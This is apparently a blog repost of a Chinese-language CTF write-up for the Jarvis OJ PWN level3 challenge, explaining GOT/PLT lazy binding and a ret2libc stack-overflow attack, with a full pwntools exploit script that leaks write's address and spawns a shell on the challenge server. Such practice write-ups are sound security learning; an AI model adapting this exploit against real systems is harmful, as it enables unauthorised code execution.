Jarvis OJ PWN level3

0x01

由于是本人第一次接触这种有关动态链接,plt和got表,延时绑定技术的题目所以这里就写的细一些。
我是看了很多大佬写的wp然后请教了下学长才明白的,真是煞费脑筋,决定一定要好好整理一下。

0x02

首先是需要了解一下got表和plt表的有关内容并对延迟绑定技术有一定理解。

GOT(Global Offset Table,全局偏移表)是Linux
ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux
ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序

然后我们来看这一题先看保护:
在这里插入图片描述
只开了NX
打开IDA
在这里插入图片描述
发现是栈溢出漏洞,但找不到system函数和‘bin/sh’字符串。然后就没得思路了,看了大佬的wp才知道题目还需要用到题目给的另一个文件,发现题目给了一个叫libc.so文件,,,,em…肯定有问题,然后就去找libc.so文件是干什么用。
找了些资料知道了.so文件,也就是动态链接库,它的作用是计算函数地址偏移量的(通俗的理解,其实就是利用函数的相对位置,函数的有一个真实地址也就是got表中的地址,在libc库中也有一个地址。libc库就像C语言中的#include<>一样,通过libc库可以计算函数的相对偏移量)
然后函数相对libc库的偏移量是相同的所以就可以利用已知的或可求的函数真实地址去计算这个偏移量,比如这个题,write函数的真实地址就是可求的。
借的别人的图,帮助理解

											*借的别人的图,帮助理解*

我们可以先通过plt表调用一下write函数并且返回执行write函数接着将write函数所需要的参数放进去(这里因为write函数可以将地址写出来相当于泄露出来,而got表中的write函数就是write函数的真实地址,所以将第二个参数设置位write函数的got表地址)这时服务器返回的就是write函数的真实地址。
在这里插入图片描述
所以payload可以这样构造:

“a”*0x88  + "aaaa“ +p32(write_plt) + p32(这里重新调用write函数就是函数vulnerable_function的地址) + p32(1)+p32(write_got)+p32(4)  #三个参数

现在我们就需要用一个变量去接收服务器返回的这个write函数的真实地址

write_addr = u32(io.recv(4))

这时我们就可以计算偏移量了:

offset = write_addr - write函数在libc中的地址

得到偏移量后就能去计算system和“/bin/sh”的真实地址了
然后就是正常的ret2lib了
exp.py:

from pwn import *
#io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3")
libc = ELF("./libc-2.19.so")

write_plt = elf.symbols["write"]
print 'write_plt:'+hex(write_plt)
write_got = elf.got["write"]
print 'write_got:'+hex(write_got)

func = elf.symbols["vulnerable_function"]
print 'func:'+hex(func)

write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next()
print 'write_libc:' + hex(write_libc) + '  sys_libc:' + hex(sys_libc) + '  bin_libc:' + hex(bin_libc)

payload1 = 'a' * 0x88 + 'aaaa' + p32(write_plt) + p32(func) + p32(1)+p32(write_got)+p32(4)

io.recvuntil("Input:\n")
io.sendline(payload1)

write_addr = u32(io.recv(4))



print 'write_addr:' +  hex(write_addr)

sys_addr = write_addr - write_libc + sys_libc
bin_addr = write_addr - write_libc + bin_libc

payload2 = 'a' * 0x88 + 'aaaa' + p32(sys_addr) + "aaaa" + p32(bin_addr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()

可能有些细节写的不是很清楚,请各位大佬批评指针。
最后本小白在进步,为了梦想定会坚持!!!

发布了14 篇原创文章 · 获赞 6 · 访问量 2432

猜你喜欢

转载自blog.csdn.net/qq_43409582/article/details/101035995